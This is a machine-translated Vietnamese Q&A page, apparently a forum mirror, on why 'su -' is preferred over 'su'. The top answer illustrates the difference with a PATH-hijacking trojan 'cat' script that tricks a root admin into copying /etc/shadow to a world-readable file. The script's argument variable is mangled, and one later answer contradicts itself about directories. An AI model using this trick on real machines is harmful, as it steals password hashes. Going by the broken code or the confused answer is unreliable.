it-swarm-vi.com

Tại sao chúng ta sử dụng su - và không chỉ su?

Tôi không hiểu tại sao su - được ưu tiên hơn su để đăng nhập với quyền root.

187
Dharmit

su - Gọi Shell đăng nhập sau khi chuyển đổi người dùng. Shell đăng nhập đặt lại hầu hết các biến môi trường, cung cấp cơ sở sạch.

su chỉ chuyển đổi người dùng, cung cấp Shell bình thường với môi trường gần giống với người dùng cũ.

Hãy tưởng tượng, bạn là nhà phát triển phần mềm có quyền truy cập bình thường của người dùng vào máy và quản trị viên không biết gì của bạn sẽ không cấp cho bạn quyền truy cập root. Hãy (hy vọng) lừa anh ta.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Bây giờ, bạn hỏi quản trị viên của mình tại sao bạn không thể cat tệp giả trong thư mục nhà của bạn, nó sẽ không hoạt động!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Nếu quản trị viên của bạn không thông minh hoặc chỉ hơi lười biếng, anh ta có thể đến bàn của bạn và thử với quyền hạn siêu người dùng của mình:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Ồ Cảm ơn, siêu admin!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Anh, anh.

Bạn có thể nhận thấy rằng biến $PATH Bị hỏng không được đặt lại. Điều này sẽ không xảy ra, nếu quản trị viên gọi su - Thay vào đó.

251
wag

su - đăng nhập bạn hoàn toàn dưới dạng root, trong khi su làm cho nó để bạn giả vờ là root.

Ví dụ rõ ràng nhất về điều này là ~ là thư mục gốc của root nếu bạn sử dụng su -, nhưng thư mục chính của bạn nếu bạn sử dụng su.

Tùy thuộc vào hệ thống của bạn, điều đó cũng có thể có nghĩa là sự khác biệt trong Prompt, PATH hoặc tệp lịch sử.

Vì vậy, nếu bạn là thành viên của một nhóm quản trị một hệ thống và đồng nghiệp của bạn cho bạn một lệnh để chạy, bạn sẽ biết nó sẽ hoạt động như nhau nếu cả hai bạn đều sử dụng su -, nhưng nếu cả hai bạn đều sử dụng su, có thể có sự khác biệt do bạn có cấu hình Shell khác nhau.

Mặt khác, nếu bạn muốn chạy một lệnh với quyền root nhưng sử dụng cấu hình của riêng bạn, thì có lẽ su tốt hơn cho bạn.

Cũng đừng quên Sudo, trong đó có -s tùy chọn để bắt đầu Shell chạy với quyền root. Tất nhiên, điều này cũng có các quy tắc khác nhau và chúng thay đổi tùy thuộc vào phân phối bạn đang sử dụng.

37
Mikel

Sự khác biệt chính là:

su - username thiết lập môi trường Shell như thể đó là một thông tin đăng nhập sạch như người dùng được chỉ định, nó truy cập và sử dụng các biến môi trường người dùng được chỉ định,

su username chỉ khởi động Shell với các cài đặt môi trường hiện tại cho người dùng được chỉ định.

Nếu tên người dùng không được chỉ định bằng susu -, tài khoản root được ngụ ý là mặc định.

2
Akhil MK

Tôi sử dụng su - khi tôi ở trong một thư mục như một người dùng thông thường nhưng muốn chuyển sang root và vẫn ở trong cùng thư mục sau khi chuyển đổi. Khi bạn sử dụng su - nó sẽ chuyển người dùng sang root và cũng đưa bạn đến/root là thư mục gốc.

1
Calvin Dike